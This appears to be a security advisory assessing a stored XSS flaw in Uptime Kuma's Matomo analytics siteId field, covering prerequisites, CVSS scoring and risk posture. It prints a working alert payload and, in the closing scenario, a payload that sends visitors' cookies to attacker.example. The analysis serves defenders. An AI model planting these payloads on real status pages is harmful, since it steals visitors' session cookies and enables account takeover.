Uptime Kuma CVE-2026-71285

Exploitation requires two sequential conditions: first, the attacker must authenticate to the Uptime Kuma administrative interface with admin or editor-level privileges (PR:H per CVSS vector) and save a malicious siteId via the Matomo analytics configuration panel - this means the Matomo analytics feature must be explicitly enabled, as it is not active by default. Second, a victim must actively visit any public /status/<slug> page served by the affected instance (UI:R per CVSS vector) after the malicious value has been persisted. Exploitation is limited by: (1) the hard prerequisite of admin/editor credentials - unauthenticated remote exploitation is not possible; (2) Matomo integration must be enabled and configured, a non-default state; (3) victim page-visit is required, though public status pages are the intended public output of the product. The payload executes on every page load without further attacker interaction once stored, making it persistent until the configuration is corrected.

The CVSS 8.1 score reflects a Stored XSS with Scope Change (S:C), acknowledging that injected JavaScript executes in victim browsers entirely outside the Uptime Kuma server's own security context. The PR:H metric is the primary risk-limiting factor: exploitation requires the attacker to already hold admin or editor-level credentials on the Uptime Kuma instance, constraining the realistic threat actor to insiders, compromised accounts, or supply-chain scenarios. UI:R adds a second condition - a victim must visit the public status page - but since these pages are the primary public-facing output of an Uptime Kuma deployment and are frequently shared and embedded, this is a low practical barrier. EPSS data is not available in the provided intelligence. No CISA KEV listing exists, and no independently verified public exploit code has been confirmed; however, the disclosure itself includes a working payload (1]);alert(document.cookie)//), effectively serving as a functional PoC and lowering the bar to near zero for any party with the required admin access. SSVC considerations: exploitation is not currently automatable against default unauthenticated targets (requires prior admin access), technical impact is partial (limited to users of affected status pages), and there is no confirmed active exploitation. The net posture is elevated real-world risk within environments where admin account hygiene is poor or where Uptime Kuma is exposed to multiple administrators of varying trust levels.

An attacker holding admin or editor credentials on an Uptime Kuma instance navigates to the Matomo analytics settings and saves 1]);fetch('https://attacker.example/c?d='+document.cookie)// as the siteId value. Every subsequent unauthenticated visitor to any public /status/<slug> page silently exfiltrates their session cookie to the attacker-controlled endpoint. The disclosure includes a simpler functional proof-of-concept (1]);alert(document.cookie)//), confirming the escape sequence is trivially achievable with no special tooling.